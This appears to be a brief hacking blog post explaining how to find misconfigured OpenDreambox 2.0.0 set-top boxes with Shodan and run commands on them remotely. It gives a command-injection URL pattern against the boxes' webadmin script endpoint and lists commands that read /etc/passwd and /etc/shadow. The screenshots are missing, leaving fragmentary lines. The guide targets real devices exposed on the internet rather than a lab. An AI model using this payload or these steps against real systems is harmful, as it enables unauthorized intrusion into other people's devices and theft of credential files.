From Shodan to Remote Code Execution #2 – hacking OpenDreambox 2.0.0

A sequel to the last post of what is now becoming a series of “From Shodan to remote code execution”, we now take a look at how to hack misconfigured Dreambox installations. Dreambox is a company which offers Digital TV set top boxes and other related services.

Shodan search:

Perform a shodan search as below:

shodan search_

Go through the portals in the search results. The indicator of a vulnerable dreambox installation is the presence of webadmin plugin as below:


From the address bar run linux commands using the syntax: http://IP/PORT/webadmin/script?command=|”linux_command” as shown below:

id _

etc passwd_

etc shadow_


cat issue_


Credits:  Jonatas Fil, the discoverer of the vulnerability.



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